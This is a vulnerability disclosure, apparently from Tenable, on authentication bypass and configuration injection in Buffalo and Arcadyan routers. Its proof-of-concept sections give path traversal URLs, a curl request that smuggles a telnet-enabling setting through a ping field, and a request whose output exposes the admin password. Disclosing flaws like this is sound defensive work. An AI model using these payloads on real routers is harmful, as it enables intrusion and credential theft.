Multiple Vulnerabilities in Buffalo and Arcadyan manufactured routers

Tenable has discovered multiple vulnerabilities in routers manufactured by Arcadyan.

During the disclosure process for the issues discovered in the Buffalo routers, Tenable discovered that CVE-2021-20090 affected many more devices, as the root cause of the vulnerability exists in the underlying Arcadyan firmware. 

Please note that CVE-2021-20091 and CVE-2021-20092 have only been confirmed on Buffalo WSR-2533 models.

Proof of Concept:

The vulnerability exists due to a list of folders which fall under a "bypass list" for authentication. For most of the devices listed, that means that the vulnerability can be triggered by multiple paths. The simplest examples would be:

For a device in which http://<ip>/index.htm requires authentication, an attacker could access index.htm using the following paths:

• http://<ip>/images/..%2findex.htm
• http://<ip>/js/..%2findex.htm
• http://<ip>/css/..%2findex.htm

To have the pages load properly, one will need to use proxy match/replace settings to ensure any resources loaded which require authentication also leverage the path traversal. Additionally, certain files (those found under /cgi/) require a csrf (named httoken on these devices) token and a valid Referer header which will cause an error if the referer includes the ..%2f traversal (which can be match/replaced as well). 

curl --include -X POST http://<ip>/apply_abstract.cgi -H "Referer: http://<ip>/ping.html" --data "action=start_ping&httoken=<valid httoken>&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=<ip>%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4"

Proof of Concept:

1. To get a valid httoken, navigate to http://<ip of device>/loginerror.html in a modern browser (tested on chrome).
2. Open DevTools
3. Run getToken() in the Console.
4. Copy the token, and use it in the following command from a terminal:

$ curl --include "http://192.168.11.1/cgi/cgi_i_filter.js?_tn=442853667" -H "Referer: http://192.168.11.1/loginerror.html"

HTTP/1.1 200 OK
Date: Mon, 13 Jan 2020 15:24:03 GMT
Server: Arcadyan httpd 1.0
Content-type: application/x-javascript
X-FRAME-OPTIONS: SAMEORIGIN
Connection: close

/*DEMO*/
var login_password = “<admin password>“;

addCfg("lan_ipaddr", 0, "192.168.11.1");